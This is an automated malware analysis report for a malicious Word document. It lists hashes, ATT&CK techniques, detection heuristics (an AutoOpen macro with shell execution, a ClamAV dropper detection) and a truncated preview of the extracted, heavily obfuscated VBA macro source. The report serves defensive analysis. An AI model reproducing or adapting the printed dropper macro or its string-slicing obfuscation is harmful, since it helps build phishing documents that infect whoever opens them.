Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b311d4cfb2be9c4…

MALICIOUS

Office (OLE)

215.5 KB Created: 2017-12-21 19:38:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 5944616df62d4d71f26907d6e309ff7f SHA-1: e902b6f05ae834ef81a1b19cc907af17bd6044ba SHA-256: 6b311d4cfb2be9c469ff2076785ccf7891eb040c9318bab4304cb52016eaf7d8
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen event and uses Shell execution, indicating an attempt to run a command. This is characteristic of a downloader or droppper malware. The ClamAV detection name 'Img.Dropper.PhishingLure' further supports this. No specific family could be identified.

Heuristics 5

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 210299 bytes
SHA-256: 97855c5cf69e2f2cf8e3fafa6b593ac9d8a39dc7721a1659213b47417be80e2c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zhqMKzRiBq"

Attribute VB_Name = "lNzBpMJ"
Function pJsEJDwFalqi()
On Error Resume Next
bAGUwlI = 871 / Rnd(4) + KifmLLbbcdVMG + TmtppjTsa * 9 + Int(fZhIbEf * CStr(pudRWVwnvX)) + pNaKlUYCo * CDate(3624 - 352183467 * 84 / 475) / OYRDcHldTzY - CSng(620)
ipzqN = 871 / Rnd(4) + TUNLwwMXFqkJ + CAzcGzKw * 9 + Int(REBzYOimHz * CStr(GOpCzoESmtlSq)) + wnBImkmovCIK * CDate(3624 - 352183467 * 84 / 475) / XwtSjmRDoLwdRv - CSng(620)
UGrbMRwzDTl = Mid("vW3waQDntpisN%!!%bMzBiRCMk", 6, 14)
lXLTmkB = 871 / Rnd(4) + BWMoCQYqCkwclp + PwnDBrs * 9 + Int(VLNtONJcXrr * CStr(DwwSHiza)) + bpRnCWhfvXG * CDate(3624 - 352183467 * 84 / 475) / vqcoWJcs - CSng(620)
uaqZiaKU = 871 / Rnd(4) + TZMKKMmUXjR + FqPkHwAV * 9 + Int(znGUGqUUmzUbV * CStr(jNizTDqdpTUlZI)) + DpuPmUmG * CDate(3624 - 352183467 * 84 / 475) / EVRzkjwhkujWY - CSng(620)
czdFnXCE = 871 / Rnd(4) + ZktdBQAU + WtSwtVvGLrcwbU * 9 + Int(DHHTikVVhUCF * CStr(JAFhLAAMqz)) + HsQzlQMzPIZtJj * CDate(3624 - 352183467 * 84 / 475) / KBYkdrQXwKlvk - CSng(620)
jAwSiXXRR = Mid("UGJktCq0ihet %zP02bF", 11, 6)
dKWwSG = 871 / Rnd(4) + jRwVznzURMIjKa + ibwHsuwm * 9 + Int(tFWmAfbpfsOzn * CStr(oSqjEFrBYWWBSj)) + fCifIcrQN * CDate(3624 - 352183467 * 84 / 475) / mkSDSLOvdI - CSng(620)
KAJcLlZ = 871 / Rnd(4) + lkfvrdhsdiLp + OnFvMnkpkcpa * 9 + Int(ariiodv * CStr(aCszjirBzK)) + EoCLQCffkwAIqV * CDate(3624 - 352183467 * 84 / 475) / CpJwpitMolMvc - CSng(620)
EhXknXk = 871 / Rnd(4) + BLujwsjzQzMsa + pfRiWwBdPSVZzG * 9 + Int(IFpaadro * CStr(JkLRzUarrEdjwQ)) + MmYvbLYu * CDate(3624 - 352183467 * 84 / 475) / oItWRzVwrTV - CSng(620)
SvhTuAZwXV = Mid("MjpNBvFYqO0Jm6et %PZWbJBitvuTOZF", 15, 6)
sLcplJjkOGm = 871 / Rnd(4) + tnnRtVP + fScJzLYZtC * 9 + Int(vfBswUNKbOa * CStr(GDbqINq)) + zZiJrWjlioOrJR * CDate(3624 - 352183467 * 84 / 475) / YsvozjKnJFNV - CSng(620)
jEnaaoaolFS = 871 / Rnd(4) + bNLPPwtpCL + wSLjMGkMjKU * 9 + Int(zpVNdRvZrOXlv * CStr(SlKdddYmbkcba)) + ATGNGXNZtkQY * CDate(3624 - 352183467 * 84 / 475) / mohvZnTn - CSng(620)
lFWaAnnSkuc = 871 / Rnd(4) + VVQMDEf + BrAbnbcnAi * 9 + Int(pWDzNYsRolVEdA * CStr(QNYBoEmKXBu)) + JEiAJXTjk * CDate(3624 - 352183467 * 84 / 475) / XCnKnqkfn - CSng(620)
BnWhkcnCaoI = Mid("j9rSSzjv2rvm", 5, 2)
vdEZiVLTKd = 871 / Rnd(4) + BCjqSLOllCqLZY + KiYfsraN * 9 + Int(WlwtoCn * CStr(zAREjQFC)) + IzOiwMPa * CDate(3624 - 352183467 * 84 / 475) / uPouHbocTjNU - CSng(620)
LsJiV = 871 / Rnd(4) + cbGqToZzDRKpTq + hXHqjjOC * 9 + Int(WBqpiBWFEu * CStr(PKUMdNcOcdADTr)) + UdjMROZiTSzkO * CDate(3624 - 352183467 * 84 / 475) / vFlZstW - CSng(620)
XRSHiuYkka = 871 / Rnd(4) + iOjNYHDiOTchja + WaYiTEIYSDspPD * 9 + Int(YpqLQzwinIXGjw * CStr(MYApGtHi)) + saqRKjS * CDate(3624 - 352183467 * 84 / 475) / aRunqXKzXskZw - CSng(620)
NYiavYDp = Mid("mm0fp7ul32o0dJ92Arw2ZuseEWWf7kQfUWHDXasF", 23, 2)
ICujqvv = 871 / Rnd(4) + vMWDzZu + wXwtjtVrcj * 9 + Int(cAtjdNMhYPdaz * CStr(RhWqNOznw)) + amVVCjtwJD * CDate(3624 - 352183467 * 84 / 475) / CBjsqnsWGUwAaP - CSng(620)
XdWjWU = 871 / Rnd(4) + bEwloDcAdj + NEQwYitjH * 9 + Int(zfuDLcqpt * CStr(iqCwwCKZiIm)) + ainasGT * CDate(3624 - 352183467 * 84 / 475) / pnDMcZBhc - CSng(620)
ORjOHojpwJS = 871 / Rnd(4) + wAPVpoCZ + qrrioVh * 9 + Int(uYOjqzXaG * CStr(rAdmvFqls)) + nOGAbaBwwNik * CDate(3624 - 352183467 * 84 / 475) / iGBBiICruiXK - CSng(620)
vcXwLKz = Mid("prAl2PHdbdOfWqIb0nZNp67rj4d%=kamHhzMik34s4XAY09i", 28, 9)
wJQDwcnQsM = 871 / Rnd(4) + mKkAjXCRzWT + EzawFLPlkj * 9 + Int(dpvmqVXAdz * CStr(VbQZzQY)) + HwwWjEliTqR * CDate(3624 - 352183467 * 84 / 475) / pDoHLokMvbWqW - CSng(620)
zmXrowwXhV = 871 / Rnd(4) + BTBfvAbTd + SvRftcir * 9 + Int(iVhiEaJNbk * CStr(PZWTdwcAfOzZzu)) + JFhknDTorzTpz * CDate(3624 - 352183467 * 84 / 475) / lmzjjrs - CSng(620)
nPzMnZrnjJ = 871 / Rnd(4) + dzijMzN + bZhTLiEr * 9 + Int(JLGOSmI * CStr(KjLijZFzi)) + mwmiSdfbOas * CDat
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.